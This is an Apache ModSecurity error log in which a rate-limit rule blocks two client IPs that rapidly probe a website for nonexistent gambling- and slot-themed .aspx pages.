[Sun May 03 16:02:48.788688 2026] [:error] [pid 40456:tid 40480] [client 81.167.26.57:16946] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afcBKDSujTvwdzEkjSc70AAAAZY"]
[Sun May 03 16:02:50.785373 2026] [:error] [pid 40422:tid 40445] [client 81.167.26.57:14935] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afcBKkHBbBLrXh6PBusnzAAAAVM"]
[Sun May 03 16:02:52.776079 2026] [:error] [pid 40422:tid 40444] [client 81.167.26.57:42618] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afcBLEHBbBLrXh6PBusn0wAAAVI"]
[Sun May 03 16:02:54.794004 2026] [:error] [pid 34432:tid 34440] [client 81.167.26.57:22671] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afcBLp73JKVQ0wlof4IipgAAAcY"]
[Sun May 03 16:02:56.774994 2026] [:error] [pid 37246:tid 37263] [client 81.167.26.57:45238] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afcBMDhvYFGNwhnPamr5kgAAAQ0"]
[Sun May 03 16:02:58.780830 2026] [:error] [pid 34432:tid 34458] [client 81.167.26.57:58133] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afcBMp73JKVQ0wlof4IiqQAAAdg"]
[Sun May 03 16:03:00.758595 2026] [:error] [pid 37126:tid 37169] [client 81.167.26.57:15853] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afcBNPR_A42N-LtDyrsbHwAAABA"]
[Sun May 03 16:03:02.745909 2026] [:error] [pid 40422:tid 40426] [client 81.167.26.57:28539] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afcBNkHBbBLrXh6PBusn2QAAAUA"]
[Sun May 03 16:03:04.747661 2026] [:error] [pid 40422:tid 40436] [client 81.167.26.57:23806] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afcBOEHBbBLrXh6PBusn3wAAAUo"]
[Sun May 03 16:03:06.736439 2026] [:error] [pid 37126:tid 37151] [client 81.167.26.57:26554] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afcBOvR_A42N-LtDyrsbIgAAAAA"]
[Sun May 03 16:03:08.714247 2026] [:error] [pid 40456:tid 40481] [client 81.167.26.57:62434] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afcBPDSujTvwdzEkjSc71QAAAZc"]
[Sun May 03 16:03:10.701340 2026] [:error] [pid 37126:tid 37177] [client 81.167.26.57:10033] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afcBPvR_A42N-LtDyrsbLAAAABg"]
[Sun May 03 16:03:12.768387 2026] [:error] [pid 37126:tid 37172] [client 81.167.26.57:51110] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afcBQPR_A42N-LtDyrsbMQAAABM"]
[Sun May 03 16:03:14.748561 2026] [:error] [pid 37246:tid 37272] [client 81.167.26.57:36810] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afcBQjhvYFGNwhnPamr5rQAAARY"]
[Sun May 03 16:03:16.586525 2026] [:error] [pid 40422:tid 40438] [client 81.167.26.57:16586] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afcBREHBbBLrXh6PBusn8AAAAUw"]
[Sun May 03 16:03:18.581589 2026] [:error] [pid 34432:tid 34450] [client 81.167.26.57:32468] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afcBRp73JKVQ0wlof4IitQAAAdA"]
[Sun May 03 16:03:20.571943 2026] [:error] [pid 37127:tid 37207] [client 81.167.26.57:57785] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "afcBSP8khJXb5O5aWVUuNAAAAFU"]
[Sun May 03 16:03:22.556651 2026] [:error] [pid 37246:tid 37248] [client 81.167.26.57:3461] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "afcBSjhvYFGNwhnPamr5sQAAAQA"]
[Sun May 03 16:03:24.522278 2026] [:error] [pid 37246:tid 37261] [client 81.167.26.57:11601] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "afcBTDhvYFGNwhnPamr5twAAAQs"]
[Sun May 03 16:03:26.363407 2026] [:error] [pid 37126:tid 37166] [client 81.167.26.57:47620] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "afcBTvR_A42N-LtDyrsbQwAAAA0"]
[Sun May 03 16:28:59.748547 2026] [:error] [pid 37246:tid 37259] [client 145.239.195.38:51778] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "afcHSzhvYFGNwhnPamr-vAAAAQo"]
[Sun May 03 16:29:01.538984 2026] [:error] [pid 34432:tid 34449] [client 145.239.195.38:43522] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "afcHTZ73JKVQ0wlof4Io8wAAAc8"]
[Sun May 03 16:29:01.656991 2026] [:error] [pid 34432:tid 34443] [client 145.239.195.38:55116] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "afcHTZ73JKVQ0wlof4Io9AAAAck"]
[Sun May 03 16:29:03.547082 2026] [:error] [pid 37130:tid 37214] [client 145.239.195.38:41682] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afcHT6Iu7bmXKXicRk94kgAAAIE"]
[Sun May 03 16:29:03.632447 2026] [:error] [pid 40386:tid 40395] [client 145.239.195.38:41684] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "afcHT1HJDYRXUf3IbRQZ4AAAAMc"]
[Sun May 03 16:29:05.503294 2026] [:error] [pid 34432:tid 34441] [client 145.239.195.38:41692] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afcHUZ73JKVQ0wlof4Io-QAAAcc"]
[Sun May 03 16:29:05.810764 2026] [:error] [pid 34432:tid 34451] [client 145.239.195.38:41704] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "afcHUZ73JKVQ0wlof4Io-wAAAdE"]
[Sun May 03 16:29:07.809309 2026] [:error] [pid 54535:tid 54541] [client 145.239.195.38:41716] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afcHU_Ryz79iR-ntJRK5tgAAAgQ"]
[Sun May 03 16:29:08.011099 2026] [:error] [pid 37130:tid 37225] [client 145.239.195.38:41718] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afcHVKIu7bmXKXicRk94lgAAAIw"]
[Sun May 03 16:29:09.743981 2026] [:error] [pid 54535:tid 54558] [client 145.239.195.38:41728] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afcHVfRyz79iR-ntJRK5vQAAAhU"]
[Sun May 03 16:29:10.121563 2026] [:error] [pid 34432:tid 34436] [client 145.239.195.38:41730] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afcHVp73JKVQ0wlof4IpAQAAAcI"]
[Sun May 03 16:29:11.891805 2026] [:error] [pid 54535:tid 54542] [client 145.239.195.38:41740] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afcHV_Ryz79iR-ntJRK5xwAAAgU"]
[Sun May 03 16:29:12.102700 2026] [:error] [pid 40456:tid 40462] [client 145.239.195.38:41742] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afcHWDSujTvwdzEkjSdBWAAAAYQ"]
[Sun May 03 16:29:14.090577 2026] [:error] [pid 54535:tid 54555] [client 145.239.195.38:41726] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afcHWvRyz79iR-ntJRK5zAAAAhI"]
[Sun May 03 16:29:15.304678 2026] [:error] [pid 37127:tid 37186] [client 145.239.195.38:41742] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "afcHW_8khJXb5O5aWVUxjAAAAEI"]
[Sun May 03 16:29:16.534959 2026] [:error] [pid 40386:tid 40412] [client 145.239.195.38:41744] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afcHXFHJDYRXUf3IbRQZ5gAAANg"]
[Sun May 03 16:29:17.383418 2026] [:error] [pid 40386:tid 40396] [client 145.239.195.38:41748] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afcHXVHJDYRXUf3IbRQZ5wAAAMg"]
[Sun May 03 16:29:18.581514 2026] [:error] [pid 40422:tid 40435] [client 145.239.195.38:41750] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afcHXkHBbBLrXh6PBusubQAAAUk"]
[Sun May 03 16:29:19.536501 2026] [:error] [pid 37127:tid 37200] [client 145.239.195.38:41766] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afcHX_8khJXb5O5aWVUxjQAAAE8"]
[Sun May 03 16:29:20.890010 2026] [:error] [pid 34432:tid 34435] [client 145.239.195.38:41780] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afcHYJ73JKVQ0wlof4IpBAAAAcE"]
[Sun May 03 16:29:21.609358 2026] [:error] [pid 54535:tid 54555] [client 145.239.195.38:41796] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afcHYfRyz79iR-ntJRK50gAAAhI"]
[Sun May 03 16:29:22.846684 2026] [:error] [pid 37126:tid 37166] [client 145.239.195.38:41800] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afcHYvR_A42N-LtDyrskTAAAAA0"]
[Sun May 03 16:29:23.653617 2026] [:error] [pid 37246:tid 37267] [client 145.239.195.38:47764] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afcHYzhvYFGNwhnPamr-zwAAARE"]
[Sun May 03 16:29:24.732433 2026] [:error] [pid 37246:tid 37251] [client 145.239.195.38:47780] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afcHZDhvYFGNwhnPamr-0AAAAQM"]
[Sun May 03 16:29:25.496338 2026] [:error] [pid 34432:tid 34457] [client 145.239.195.38:47790] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afcHZZ73JKVQ0wlof4IpBwAAAdc"]
[Sun May 03 16:29:26.792992 2026] [:error] [pid 37130:tid 37230] [client 145.239.195.38:47796] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afcHZqIu7bmXKXicRk94lwAAAJE"]
[Sun May 03 16:29:27.413622 2026] [:error] [pid 40386:tid 40408] [client 145.239.195.38:47798] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afcHZ1HJDYRXUf3IbRQZ6gAAANQ"]
[Sun May 03 16:29:28.872327 2026] [:error] [pid 40456:tid 40471] [client 145.239.195.38:47810] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afcHaDSujTvwdzEkjSdBWgAAAY0"]
[Sun May 03 16:29:29.560007 2026] [:error] [pid 40422:tid 40446] [client 145.239.195.38:47822] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afcHaUHBbBLrXh6PBusucQAAAVQ"]
[Sun May 03 16:29:31.004532 2026] [:error] [pid 34432:tid 34442] [client 145.239.195.38:47824] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afcHa573JKVQ0wlof4IpDgAAAcg"]
[Sun May 03 16:29:31.459143 2026] [:error] [pid 40422:tid 40433] [client 145.239.195.38:47834] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afcHa0HBbBLrXh6PBusueAAAAUc"]
[Sun May 03 16:29:32.833379 2026] [:error] [pid 40422:tid 40429] [client 145.239.195.38:47840] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afcHbEHBbBLrXh6PBusufQAAAUM"]
[Sun May 03 16:29:33.445080 2026] [:error] [pid 37246:tid 37262] [client 145.239.195.38:49702] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afcHbThvYFGNwhnPamr-1AAAAQw"]
[Sun May 03 16:29:34.876824 2026] [:error] [pid 34432:tid 34447] [client 145.239.195.38:49708] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afcHbp73JKVQ0wlof4IpEQAAAc0"]
[Sun May 03 16:29:35.393206 2026] [:error] [pid 34432:tid 34452] [client 145.239.195.38:49710] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afcHb573JKVQ0wlof4IpEwAAAdI"]
[Sun May 03 16:29:36.961370 2026] [:error] [pid 34432:tid 34438] [client 145.239.195.38:49722] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afcHcJ73JKVQ0wlof4IpGwAAAcQ"]
